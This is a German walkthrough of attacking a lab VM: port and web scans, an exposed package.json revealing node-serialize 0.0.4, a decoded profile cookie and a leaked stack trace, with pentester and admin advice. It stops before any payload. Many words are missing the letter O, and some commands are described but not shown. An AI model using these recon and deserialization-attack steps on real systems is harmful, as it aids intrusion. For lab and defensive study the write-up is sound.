Wir beginnen die Aufklärungsphase (Reconnaissance), um das Zielsystem im Netzwerk zu identifizieren und erste Informationen zu sammeln.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.128
**Analyse:** Dies ist eine Notiz, die die Ziel-IP-Adresse festhält, die für alle nachfolgenden Scans und Interaktionen verwendet wird.
**Bewertung:** Wichtig für die Konsistenz und Nachvollziehbarkeit des Tests. Es wird die Variable `$IP` (oder ein ähnlicher Platzhalter) in vielen Befehlen verwendet, die auf diese Adresse verweist.
**Empfehlung (Pentester):** Es ist gute Praxis, die Ziel-IP in einer Umgebungsvariable zu speichern (`export IP=192.168.2.128`), um Tippfehler zu vermeiden und Befehle wiederverwendbar zu machen.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich, dies ist Teil des Standard-Pentesting-Prozesses.
ARP-Scan 192.168.2.128 08:00:27:61:6d:b1 PCS Systemtechnik GmbH
**Analyse:** Ein ARP-Scan (vermutlich mit `arp-scan -l` oder einem ähnlichen Tool durchgeführt, auch wenn der Befehl hier nicht gezeigt wird) wurde verwendet, um Geräte im lokalen Netzwerksegment zu entdecken. Er identifiziert die IP-Adresse `192.168.2.128` und die zugehörige MAC-Adresse `08:00:27:61:6d:b1`. Der Hersteller der Netzwerkkarte wird als "PCS Systemtechnik GmbH" angezeigt, was oft ein Alias für Oracle VirtualBox ist.
**Bewertung:** Bestätigt, dass das Ziel mit der angegebenen IP-Adresse im lokalen Netz aktiv ist und wahrscheinlich eine virtuelle Maschine (VM) von VirtualBox ist. Dies kann Hinweise auf die Testumgebung geben.
**Empfehlung (Pentester):** Die MAC-Adresse kann zur weiteren Identifizierung und manchmal zur Umgehung von MAC-Filtern verwendet werden. Die Information, dass es sich um eine VM handelt, kann bei der Auswahl von Exploits relevant sein.
**Empfehlung (Admin):** Stellen Sie sicher, dass nur autorisierte Geräte im Netzwerk aktiv sind. MAC-Adressen können gefälscht werden, daher bieten MAC-Filter allein keinen starken Schutz.
/etc/hosts 127.0.0.1 localhost 192.168.2.128 encode.nyx
**Analyse:** Dies zeigt einen Eintrag in der lokalen `/etc/hosts`-Datei des Angreifersystems. Der IP-Adresse `192.168.2.128` wurde der Hostname `encode.nyx` zugewiesen. Dies ermöglicht es dem Pentester, das Ziel über diesen Namen anstelle der IP-Adresse anzusprechen.
**Bewertung:** Sehr nützlich, insbesondere wenn Webanwendungen auf virtuelle Hosts reagieren oder Zertifikate auf einen bestimmten Namen ausgestellt sind. Vereinfacht die Ansprache des Ziels.
**Empfehlung (Pentester):** Immer die `/etc/hosts`-Datei anpassen, wenn Hostnamen entdeckt werden (z.B. durch Scans oder in Webseiteninhalten). Dies kann zu besseren Ergebnissen bei der Web-Enumeration führen.
**Empfehlung (Admin):** Interne DNS-Server sollten korrekt konfiguriert sein, um die Notwendigkeit manueller Hosts-Dateieinträge zu minimieren. Überwachen Sie DNS-Anfragen, um ungewöhnliche Namensauflösungsversuche zu erkennen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 21:49 CEST Nmap scan report for encode (fe80a00:27ff:fe61:6db1) Host is up (0.000090s latency). Not shown: 997 closed tcp ports (reset) PRT STATE SERVICE 22/tcp open ssh 80/tcp open http 3000/tcp open ppp MAC Address: 08:00:27:61:6D:B1 (racle VirtualBox virtual NIC)
**Analyse:** Ein initialer Nmap-Scan (vermutlich ein schneller SYN-Scan auf die Top-Ports, z.B. `nmap -sS --top-ports 1000 192.168.2.128`) wurde durchgeführt. Der Scan bestätigt die Ziel-IP (`192.168.2.128` wird hier über seine IPv6 Link-Local-Adresse `fe80...` und die MAC-Adresse identifiziert) und die bereits bekannte MAC-Adresse (`08:00:27:61:6D:B1`), die auf eine Oracle VirtualBox VM hinweist. Es wurden drei offene TCP-Ports gefunden: 22 (SSH), 80 (HTTP) und 3000 (hier fälschlicherweise als 'ppp' interpretiert, was oft ein Platzhalter für unbekannte Dienste auf diesem Port ist).
**Bewertung:** Dieser erste Scan liefert die primären Angriffsvektoren: SSH für potenziellen Fernzugriff, HTTP (Port 80) für die Standard-Webanwendung und einen weiteren Dienst auf Port 3000, der genauer untersucht werden muss. Die schnelle Erkennung offener Ports ist entscheidend für die weitere Planung.
**Empfehlung (Pentester):** Die gefundenen offenen Ports (22, 80, 3000) sind die nächsten Ziele für detailliertere Scans (Versionserkennung, Skript-Scans) und manuelle Enumeration.
**Empfehlung (Admin):** Überprüfen Sie die Notwendigkeit aller offenen Ports. Wenn SSH nicht benötigt wird, sollte es deaktiviert oder durch Firewalls eingeschränkt werden. Stellen Sie sicher, dass die Dienste auf Port 80 und 3000 aktuell und sicher konfiguriert sind.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 21:49 CEST Nmap scan report for 192.168.2.128 Host is up (0.0033s latency). Not shown: 994 open|filtered udp ports (no-response) PRT STATE SERVICE 1030/udp closed iad1 17683/udp closed unknown 19662/udp closed unknown 28543/udp closed unknown 31681/udp closed unknown 40805/udp closed unknown MAC Address: 08:00:27:61:6D:B1 (racle VirtualBox virtual NIC)
**Analyse:** Dieser Nmap-Befehl führt einen UDP-Scan (`-sU`) auf die 1000 häufigsten UDP-Ports (`--top-port 1000`) durch. Die Optionen `-T5` (höchste Geschwindigkeit), `-n` (keine DNS-Auflösung), `-Pn` (kein Ping-Scan, da wir wissen, dass der Host online ist) und `--min-rate 5000` (mindestens 5000 Pakete pro Sekunde) sollen den Scan beschleunigen.
**Bewertung:** Der Scan zeigt, dass die meisten gescannten UDP-Ports entweder geschlossen (`closed`) oder gefiltert (`open|filtered` mit `no-response`) sind. UDP-Scans sind oft langsam und unzuverlässig, da viele Systeme auf UDP-Anfragen nicht antworten. Das Ergebnis legt nahe, dass keine offensichtlichen, weit verbreiteten UDP-Dienste auf den gescannten Ports laufen.
**Empfehlung (Pentester):** UDP-Scans sind oft zeitaufwendig. Konzentrieren Sie sich zunächst auf die offenen TCP-Ports. Führen Sie bei Bedarf einen vollständigen UDP-Portscan (`-sU -p-`) durch, wenn die TCP-Vektoren keine Ergebnisse liefern.
**Empfehlung (Admin):** Minimieren Sie die Anzahl offener UDP-Ports, da diese oft für Angriffe wie Amplification-Attacken missbraucht werden können. Firewalls sollten UDP-Verkehr standardmäßig blockieren, wenn er nicht explizit benötigt wird.
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3000/tcp open http Node.js Express framework
**Analyse:** Dieser Nmap-Befehl führt einen umfassenden TCP-Scan durch: `-sS` (SYN-Scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung), `-A` (Aggressiver Scan: OS-Erkennung, Version, Skripte, Traceroute), `-p-` (alle 65535 TCP-Ports), `-Pn` (kein Ping), `--min-rate 5000` (schnell). Die Ausgabe wird durch `grep open` gefiltert, um nur die Zeilen mit offenen Ports anzuzeigen.
**Bewertung:** Dieser Scan liefert detailliertere Informationen zu den bereits bekannten offenen Ports: * **Port 22:** OpenSSH Version 7.9p1 (Debian 10). Diese Version ist relativ aktuell, aber es könnten Konfigurationsschwächen bestehen. * **Port 80:** Apache Webserver Version 2.4.38 (Debian). Diese Version ist als veraltet bekannt (Nikto wird dies später bestätigen). * **Port 3000:** Ein HTTP-Dienst, der von einem Node.js Express Framework bereitgestellt wird. Dies ist ein wichtiger Hinweis auf die verwendete Technologie.
**Empfehlung (Pentester):** Untersuchen Sie Apache auf bekannte Schwachstellen (CVEs) für Version 2.4.38. Analysieren Sie die Node.js-Anwendung auf Port 3000 gründlich, da benutzerdefinierte Anwendungen oft Schwachstellen enthalten. Prüfen Sie SSH auf schwache Anmeldeinformationen oder Konfigurationsfehler.
**Empfehlung (Admin):** Aktualisieren Sie Apache auf die neueste stabile Version. Überprüfen Sie die Node.js-Anwendung auf Sicherheitslücken und halten Sie die verwendeten Bibliotheken (wie Express) aktuell. Härten Sie die SSH-Konfiguration (z.B. Deaktivieren von Passwort-Logins, Verwenden starker Schlüssel).
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 21:49 CEST Nmap scan report for encode.nyx (192.168.2.128) Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 22:e4:1e:f3:f6:82:7b:26:da:13:2f:01:f9:d5:0d:5b (RSA) | 256 7b:09:3e:d4:a7:2d:92:01:9d:7d:7f:32:c1:fd:93:5b (ECDSA) |_ 256 56:fd:3d:c2:19:fe:22:24:ca:2c:f8:07:90:1d:76:87 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (text/html; charset=utf-8). MAC Address: 08:00:27:61:6D:B1 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.14 ms encode.nyx (192.168.2.128)
**Analyse:** Dies ist die vollständige Ausgabe des vorherigen Nmap-Scans (ohne `grep`). Sie enthält zusätzliche Details: * **SSH Host Keys:** Die Fingerprints der Host-Schlüssel werden angezeigt. Diese können verwendet werden, um Man-in-the-Middle-Angriffe zu erkennen, wenn sie sich unerwartet ändern. * **HTTP Titel:** Beide Webserver (Port 80 und 3000) liefern keinen spezifischen HTML-Titel, was auf einfache oder unvollständige Seiten hindeutet. * **Betriebssystemerkennung:** Nmap vermutet ein Linux-System mit einem Kernel zwischen Version 4.15 und 5.8. * **Traceroute:** Zeigt nur einen Hop an, was bestätigt, dass sich das Ziel im selben lokalen Netzwerk befindet.
**Bewertung:** Die detaillierte Ausgabe bestätigt die vorherigen Ergebnisse und liefert Kontextinformationen wie OS-Version und Host-Keys. Das Fehlen von Titeln auf den Webseiten ist ein kleiner Hinweis, aber nicht kritisch. Die OS-Erkennung hilft bei der Auswahl potenzieller Kernel-Exploits, falls lokale Privilegienerweiterung erforderlich wird.
**Empfehlung (Pentester):** Notieren Sie die Host-Keys für zukünftige Vergleiche. Beginnen Sie mit der Web-Enumeration auf Port 80 und 3000.
**Empfehlung (Admin):** Verbergen Sie detaillierte Versionsinformationen von Diensten (SSH, Apache, etc.), wenn möglich, um Angreifern weniger Informationen zu geben. Stellen Sie sicher, dass das Betriebssystem und alle Dienste regelmäßig gepatcht werden.
Nachdem wir die offenen Ports identifiziert haben, konzentrieren wir uns nun auf die Webdienste auf Port 80 und 3000, um potenzielle Schwachstellen oder interessante Dateien und Verzeichnisse zu finden.
Allow: POST,PTINS,HEAD,GET
**Analyse:** Der `curl`-Befehl sendet eine HTTP-Anfrage mit der Methode `PTINS` (`-X PTINS`) an den Webserver auf Port 80 (`http://$IP`). Die Option `-I` holt nur die Header, `-s` unterdrückt die Fortschrittsanzeige. Das Ergebnis wird mit `grep -i "allow"` gefiltert, um die Zeile zu finden, die die erlaubten HTTP-Methoden auflistet.
**Bewertung:** Die Ausgabe zeigt, dass neben den üblichen Methoden `GET`, `HEAD`, `POST` auch die ungewöhnliche Methode `PTINS` erlaubt ist. Ungewöhnliche oder benutzerdefinierte HTTP-Methoden können manchmal auf versteckte Funktionalitäten oder potenzielle Schwachstellen hindeuten.
**Empfehlung (Pentester):** Untersuchen Sie die `PTINS`-Methode weiter. Versuchen Sie, Anfragen mit dieser Methode zu senden, um zu sehen, wie der Server reagiert. Prüfen Sie, ob diese Methode in Kombination mit anderen Parametern zu unerwartetem Verhalten führt.
**Empfehlung (Admin):** Deaktivieren Sie alle nicht benötigten oder unsicheren HTTP-Methoden in der Apache-Konfiguration (z.B. über `
* Trying 192.168.2.128:80... * Connected to 192.168.2.128 (192.168.2.128) port 80 > HEAD / HTTP/1.1 > Host: 192.168.2.128 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 K HTTP/1.1 200 K < Date: Thu, 12 Sep 2024 19:50:47 GMT Date: Thu, 12 Sep 2024 19:50:47 GMT < Server: Apache/2.4.38 (Debian) Server: Apache/2.4.38 (Debian) < Last-Modified: Mon, 29 May 2023 07:49:17 GMT Last-Modified: Mon, 29 May 2023 07:49:17 GMT < ETag: "c-5fcd052dd223d" ETag: "c-5fcd052dd223d" < Accept-Ranges: bytes Accept-Ranges: bytes < Content-Length: 12 Content-Length: 12 < Content-Type: text/html Content-Type: text/html < * Connection #0 to host 192.168.2.128 left intact
**Analyse:** Dieser `curl`-Befehl (`-Iv`) sendet eine `HEAD`-Anfrage (impliziert durch `-I`, `-v` für verbose Ausgabe) an die Wurzel (`/`) des Webservers auf Port 80. Die Ausgabe zeigt die Anfrage-Header (mit `>`) und die Antwort-Header (mit `<`).
**Bewertung:** Bestätigt erneut den Servertyp (`Apache/2.4.38 (Debian)`) und den Statuscode `200 OK`. Der `Content-Length: 12` deutet auf eine sehr kleine Ressource hin (wahrscheinlich die Standard-Indexseite). Keine auffälligen oder sicherheitsrelevanten Header werden hier direkt sichtbar, außer der bereits bekannten Server-Version.
**Empfehlung (Pentester):** Analysieren Sie die Standardseite, auch wenn sie klein ist. Führen Sie Verzeichnis- und Datei-Bruteforcing durch, um versteckte Inhalte zu finden.
**Empfehlung (Admin):** Konfigurieren Sie den Webserver so, dass er möglichst wenige Informationen preisgibt (z.B. `ServerTokens Prod` in Apache). Implementieren Sie sicherheitsrelevante HTTP-Header wie `X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` und `Strict-Transport-Security` (HSTS).
- Nikto v2.5.0 + Target IP: 192.168.2.128 + Target Hostname: 192.168.2.128 + Target Port: 80 + Start Time: 2024-09-12 21:50:33 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions] + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + PTINS: Allowed HTTP Methods: PST, PTINS, HEAD, GET . + /manual/: Web server manual found. + /manual/images/: Directory indexing found. + /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/] + 8102 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2024-09-12 21:50:49 (GMT2) (16 seconds) + 1 host(s) tested
**Analyse:** Die Ausgabe stammt vom Webserver-Scanner Nikto (vermutlich `nikto -h http://$IP`). Nikto prüft auf bekannte Schwachstellen, Konfigurationsfehler und interessante Dateien/Verzeichnisse.
**Bewertung:** Nikto liefert mehrere wichtige Funde: * **Fehlende Security Header:** `X-Frame-Options` und `X-Content-Type-Options` sind nicht gesetzt, was auf potenzielle Clickjacking- bzw. MIME-Sniffing-Risiken hindeutet. * **Veraltete Apache-Version:** Bestätigt, dass Apache 2.4.38 veraltet ist. * **Ungewöhnliche HTTP-Methode:** Bestätigt die erlaubte `PTINS`-Methode. * **Apache Manual:** Das Verzeichnis `/manual/` ist zugänglich, was detaillierte Informationen über die Serverkonfiguration preisgeben kann. * **Directory Indexing:** Das Verzeichnis `/manual/images/` erlaubt das Auflisten von Dateien. * **Default-Datei:** Die Datei `/icons/README` ist vorhanden.
**Empfehlung (Pentester):** Untersuchen Sie das Apache-Manual (`/manual/`) auf sensible Informationen. Prüfen Sie Verzeichnisse mit Directory Indexing auf interessante Dateien. Nutzen Sie die Information über die veraltete Apache-Version, um nach spezifischen Exploits zu suchen.
**Empfehlung (Admin):** Implementieren Sie die fehlenden Security Header (`X-Frame-Options`, `X-Content-Type-Options`). Aktualisieren Sie Apache dringend. Deaktivieren Sie den Zugriff auf das Apache-Manual und andere Standard-Dateien/Verzeichnisse (`/icons/`, `/manual/`). Deaktivieren Sie Directory Indexing global oder zumindest für sensible Bereiche (`Options -Indexes` in der Apache-Konfiguration).
http://192.168.2.128/index.html (Status: 200) [Size: 12] http://192.168.2.128/manual (Status: 301) [Size: 315] [--> http://192.168.2.128/manual/] http://192.168.2.128/package.json (Status: 200) [Size: 116]
**Analyse:** Gobuster wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver (Port 80) zu suchen (`dir`). Es verwendet eine mittelgroße Wortliste (`directory-list-2.3-medium.txt`) und prüft auf eine Vielzahl von Dateiendungen (`-x ...`). Die Optionen `-b '503,404,403'` blenden uninteressante Statuscodes aus, `-e` zeigt die vollständige URL an, `--no-error` unterdrückt Verbindungsfehler und `-k` ignoriert SSL-Zertifikatsfehler (hier irrelevant).
**Bewertung:** Gobuster bestätigt die Funde `index.html` und `/manual` (mit einer Weiterleitung zu `/manual/`). Der wichtigste neue Fund ist `package.json` im Wurzelverzeichnis des Webservers. Dies ist eine Konfigurationsdatei, die typischerweise in Node.js-Projekten verwendet wird und Informationen über Abhängigkeiten enthält.
**Empfehlung (Pentester):** Analysieren Sie den Inhalt der gefundenen `package.json`-Datei. Sie könnte Hinweise auf verwendete Bibliotheken (und deren Versionen) geben, die möglicherweise bekannte Schwachstellen aufweisen.
**Empfehlung (Admin):** Legen Sie sensible Konfigurationsdateien wie `package.json` niemals im Web-Root-Verzeichnis ab, wo sie öffentlich zugänglich sind. Konfigurieren Sie den Webserver so, dass der Zugriff auf solche Dateien standardmäßig verweigert wird.
Web enum: http://192.168.2.128/package.json dependencies cookie-parser "^1.4.5" express "^4.17.1" node-serialize "^0.0.4"
**Analyse:** Dies zeigt den relevanten Inhalt der zuvor gefundenen `package.json`-Datei. Sie listet die Abhängigkeiten des Node.js-Projekts auf, das wahrscheinlich auf Port 3000 läuft (oder dessen Konfiguration hier auf Port 80 abgelegt wurde).
**Bewertung:** Die Abhängigkeiten sind: * `cookie-parser`: Eine Middleware zum Parsen von Cookies. Version `^1.4.5`. * `express`: Das Web-Framework selbst. Version `^4.17.1`. * `node-serialize`: Eine Bibliothek zum Serialisieren und Deserialisieren von JavaScript-Objekten. Version `^0.0.4`. Die Bibliothek `node-serialize` in der Version `0.0.4` ist bekannt für eine kritische Schwachstelle bezüglich Remote Code Execution (RCE) durch unsichere Deserialisierung. **Dies ist ein sehr vielversprechender Fund!**
**Empfehlung (Pentester):** Recherchieren Sie die bekannte RCE-Schwachstelle in `node-serialize` 0.0.4. Suchen Sie nach Exploits oder Proof-of-Concept-Code. Untersuchen Sie die Anwendung auf Port 3000 daraufhin, wie Cookies verwendet werden und ob der verwundbare `unserialize`-Aufruf genutzt wird.
**Empfehlung (Admin):** Entfernen Sie die `package.json`-Datei aus dem Web-Root. Aktualisieren Sie *dringend* alle Node.js-Abhängigkeiten, insbesondere `node-serialize`. Erwägen Sie den Wechsel zu sichereren Serialisierungsbibliotheken oder vermeiden Sie Deserialisierung von Benutzereingaben gänzlich.
http://192.168.2.128:3000/
hello serve
**Analyse:** Ein Besuch der Webseite auf Port 3000 zeigt eine sehr einfache Seite mit dem Text "hello serve".
**Bewertung:** Die Seite selbst bietet wenig Informationen, aber die Interaktion mit ihr ist entscheidend, insbesondere im Hinblick auf die vermutete `node-serialize`-Schwachstelle, die oft über Cookies ausgenutzt wird.
**Empfehlung (Pentester):** Analysieren Sie die HTTP-Anfragen und -Antworten beim Besuch dieser Seite mit einem Proxy wie Burp Suite, insbesondere die gesetzten Cookies.
**Empfehlung (Admin):** Auch einfache Seiten sollten sicher entwickelt werden. Stellen Sie sicher, dass keine unnötigen Informationen preisgegeben werden.
Cache deaktivieren Eine Anfrage 11 B / 0 B übertragen Beendet: 0 ms DMContentLoaded: 22 ms load: 26 ms GET http://192.168.2.128:3000/ Status 200 K VersionHTTP/1.1 Übertragen11 B (11 B Größe) Connection keep-alive Content-Length 11 Content-Type text/html; charset=utf-8 Date Thu, 12 Sep 2024 19:59:50 GMT ETag W/"b-X453LUbwKdge2BUCoR8u6eN7M" Keep-Alive timeout=5 Set-Cookie profile=eyJ1c2VybmFtZSI6ImNoYXJsaWUiLCJjb3VudHJ5IjoiZWV1dSIsImNpdHkiiJ3YXNoaW5ndG9uIn0%3D; Max-Age=900; Path=/; Expires=Thu, 12 Sep 2024 20:14:50 GMT; Httpnly X-Powered-By Express Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding gzip, deflate Accept-Language de,en-US;q=0.7,en;q=0.3 Connection keep-alive Cookie profile=eyJ1c2VybmFtZSI6ImNoYXJsaWUiLCJjb3VudHJ5IjoiZWV1dSIsImNpdHkiiJ3YXNoaW5ndG9uIn0%3D DNT 1 Host 192.168.2.128:3000 Sec-GPC 1 Upgrade-Insecure-Requests 1 User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
**Analyse:** Diese Ausgabe stammt aus den Entwicklertools eines Webbrowsers oder einem Intercepting-Proxy (wie Burp Suite) und zeigt die Details einer GET-Anfrage an `http://192.168.2.128:3000/`. Die wichtigen Teile sind die Antwort-Header (`Set-Cookie`) und die Anfrage-Header (`Cookie`).
**Bewertung:** Der Server setzt einen Cookie namens `profile`. Der Wert (`eyJ1c2Vy...`) sieht stark nach Base64-Kodierung aus. Der Cookie wird als `HttpOnly` gesetzt, was bedeutet, dass er nicht direkt über JavaScript ausgelesen werden kann, aber er wird bei nachfolgenden Anfragen automatisch vom Browser gesendet (wie im `Cookie`-Header der Anfrage zu sehen). Dieser Cookie ist der wahrscheinlichste Angriffsvektor für die `node-serialize`-Schwachstelle.
**Empfehlung (Pentester):** Dekodieren Sie den Base64-Wert des `profile`-Cookies, um seine Struktur zu verstehen. Versuchen Sie, einen schädlichen Payload zu erstellen, der die `node-serialize`-Schwachstelle ausnutzt, kodieren Sie ihn als Base64 und senden Sie ihn im `profile`-Cookie zurück an den Server.
**Empfehlung (Admin):** Vermeiden Sie die Speicherung komplexer Objekte oder sensibler Daten in Cookies. Wenn Serialisierung notwendig ist, verwenden Sie sichere Bibliotheken und validieren und bereinigen Sie *alle* Eingaben, bevor sie deserialisiert werden. Setzen Sie das `HttpOnly`-Flag für Cookies, die nicht von clientseitigem JavaScript benötigt werden, und zusätzlich das `Secure`-Flag (wenn HTTPS verwendet wird) und `SameSite`-Attribute.
[Link: https://jwt.io/ | Ziel: https://jwt.io/] eyJ1c2VybmFtZSI6ImNoYXJsaWUiLCJjb3VudHJ5IjoiZWV1dSIsImNpdHkiiJ3YXNoaW5ndG9uIn0 { "username": "charlie", "country": "eeuu", "city": "washington" }
**Analyse:** Der Base64-kodierte Wert des `profile`-Cookies wurde (vermutlich mit einem Online-Tool wie jwt.io oder einem einfachen `echo '...' | base64 -d`) dekodiert. Das Ergebnis ist ein JSON-Objekt.
**Bewertung:** Der Cookie enthält Benutzerprofilinformationen im JSON-Format. Dies bestätigt die Struktur der Daten, die wahrscheinlich von der Anwendung mit `node-serialize` verarbeitet werden. Obwohl jwt.io erwähnt wird, handelt es sich hier nicht um ein JSON Web Token (JWT), da die typische Struktur mit drei durch Punkte getrennten Teilen fehlt.
**Empfehlung (Pentester):** Nutzen Sie diese Struktur als Vorlage für den schädlichen Payload. Der Payload muss ein gültiges JSON-Objekt sein, das bei der Deserialisierung durch `node-serialize` Code ausführt.
**Empfehlung (Admin):** Siehe vorherige Empfehlung bezüglich sicherer Cookie-Handhabung und Vermeidung unsicherer Deserialisierung.
HEADER:ALGRITHM & TKEN TYPE
{
"username": "charlie",
"country": "eeuu",
"city": "washington",
"alg": "HS256"
}
PAYLAD:DATA
{"key":"id"}
eyJ1c2VybmFtZSI6ImNoYXJsaWUiLCJjb3VudHJ5IjoiZWV1dSIsImNpdHkiiJ3YXNoaW5ndG9uIiwiYWxnIjoiSFMyNTYifQ.eyJrZXkiiJpZCJ9.R-PPjByCZXKuHK5Kbm9BnXIRzFvG8X735cSfAQIpX6I
**Analyse:** Hier scheint ein Missverständnis oder ein fehlgeleiteter Versuch vorzuliegen, den Cookie als JWT zu behandeln. Es wird versucht, einen JWT-Header und -Payload zu definieren und daraus ein Token zu generieren. Das resultierende Token (`eyJ1...X6I`) hat die typische JWT-Struktur, passt aber nicht zur `node-serialize`-Schwachstelle.
**Bewertung:** Dieser Schritt ist für die Ausnutzung der identifizierten Schwachstelle irrelevant und wahrscheinlich ein Überbleibsel aus einem anderen Test oder einer falschen Annahme. Die `node-serialize`-Schwachstelle erfordert einen speziell präparierten JSON-Payload, keinen JWT.
**Empfehlung (Pentester):** Ignorieren Sie diesen JWT-Teil und konzentrieren Sie sich auf die Erstellung des richtigen Payloads für die `node-serialize`-RCE.
**Empfehlung (Admin):** Keine spezifische Aktion erforderlich, da dies ein Irrweg im Angriffsprozess war.
[Link: http://192.168.2.128:3000/ | Ziel: http://192.168.2.128:3000/] SyntaxError: Unexpected token in JSN at position 73 at JSN.parse () at bject.exports.unserialize (/var/www/html/node_modules/node-serialize/lib/serialize.js:62:16) at /var/www/html/server.js:10:29 at Layer.handle [as handle_request] (/var/www/html/node_modules/express/lib/router/layer.js:95:5) at next (/var/www/html/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/var/www/html/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/var/www/html/node_modules/express/lib/router/layer.js:95:5) at /var/www/html/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/var/www/html/node_modules/express/lib/router/index.js:335:12) at next (/var/www/html/node_modules/express/lib/router/index.js:275:10)
**Analyse:** Diese Fehlermeldung wird auf der Webseite angezeigt, nachdem wahrscheinlich ein ungültiger oder manipulierter `profile`-Cookie gesendet wurde. Sie zeigt einen `SyntaxError` beim Parsen von JSON.
**Bewertung:** **Sehr wertvolle Information!** Die Fehlermeldung bestätigt explizit, dass die Funktion `unserialize` aus `/var/www/html/node_modules/node-serialize/lib/serialize.js` verwendet wird (Zeile 62, Position 16). Sie zeigt auch den Pfad zur Haupt-Serverdatei (`/var/www/html/server.js`, Zeile 10, Position 29) und interne Pfade des Express-Frameworks. Dies bestätigt definitiv die Verwundbarkeit und liefert den exakten Pfad auf dem Server, wo die Anwendung liegt (`/var/www/html`).
**Empfehlung (Pentester):** Nutzen Sie den Pfad `/var/www/html`, um die Struktur des Zielsystems besser zu verstehen. Fahren Sie mit der Erstellung des RCE-Payloads fort, da die Schwachstelle nun bestätigt ist.
**Empfehlung (Admin):** Konfigurieren Sie Webanwendungen *niemals* so, dass detaillierte Fehlermeldungen und Stack-Traces an den Client gesendet werden. Implementieren Sie eine generische Fehlerseite und protokollieren Sie die Details serverseitig. Dies verhindert das Offenlegen interner Pfade und Technologien.
[Link: http://192.168.2.128:3000/app.js | Ziel: http://192.168.2.128:3000/app.js]
Cannot GET /app.js
**Analyse:** Es wurde versucht, direkt auf eine Datei namens `app.js` auf Port 3000 zuzugreifen, was fehlschlug.
**Bewertung:** Dies zeigt, dass entweder die Datei nicht existiert oder der Server so konfiguriert ist, dass er keine statischen Dateien ausliefert oder der Zugriff auf `.js`-Dateien verweigert wird. Basierend auf der Fehlermeldung zuvor wissen wir, dass die Hauptdatei `server.js` heißt.
**Empfehlung (Pentester):** Versuchen Sie, auf `server.js` zuzugreifen, auch wenn dies wahrscheinlich ebenfalls fehlschlägt. Konzentrieren Sie sich auf die Ausnutzung der Deserialisierungs-Schwachstelle.
**Empfehlung (Admin):** Stellen Sie sicher, dass der Webserver keine Quellcode-Dateien oder andere sensible Dateien direkt ausliefert.
[Link: https://www.google.de/search?q=node.js+security-course+github | Ziel: https://www.google.de/search?q=node.js+security-course+github] Suche [ node.js security-course github ] GitHub [Link: https://github.com › ajinabraham | Ziel: https://github.com/ajinabraham] Contents for Node.Js Security Course - GitHub Diese Seite übersetzen Contents for Node.Js Security Course. Contribute to ajinabraham/Node.Js-Security-Course development by creating an account on GitHub. [Link: https://github.com/ajinabraham/Node.Js-Security-Course | Ziel: https://github.com/ajinabraham/Node.Js-Security-Course]
**Analyse:** Der Pentester sucht auf Google nach einem GitHub-Repository, das sich mit Node.js-Sicherheit beschäftigt, und findet das Repository `ajinabraham/Node.Js-Security-Course`.
**Bewertung:** Dieses Repository enthält oft Beispielcode und Exploits für verschiedene Node.js-Schwachstellen, einschließlich der Deserialisierungsschwachstelle in `node-serialize`. Dies ist ein intelligenter Schritt, um einen fertigen Exploit-Code zu finden oder anzupassen.
**Empfehlung (Pentester):** Klonen Sie das gefundene Repository und suchen Sie darin nach einem Skript oder Payload, der für die `node-serialize`-RCE geeignet ist.
**Empfehlung (Admin):** Bleiben Sie über bekannte Schwachstellen in den von Ihnen verwendeten Technologien und Bibliotheken informiert. Nutzen Sie Security-Scanner und verfolgen Sie Sicherheitspublikationen.
... ...
**Analyse:** Das zuvor gefundene GitHub-Repository wird mit `git clone` auf das Angreifersystem heruntergeladen.
**Bewertung:** Notwendiger Schritt, um auf die Exploit-Skripte im Repository zugreifen zu können.
**Empfehlung (Pentester):** Wechseln Sie in das geklonte Verzeichnis und untersuchen Sie die Inhalte.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich.
insgesamt 299708 drwxr-xr-x 4 root root 4096 12. Sep 22:26 Node.Js-Security-Course
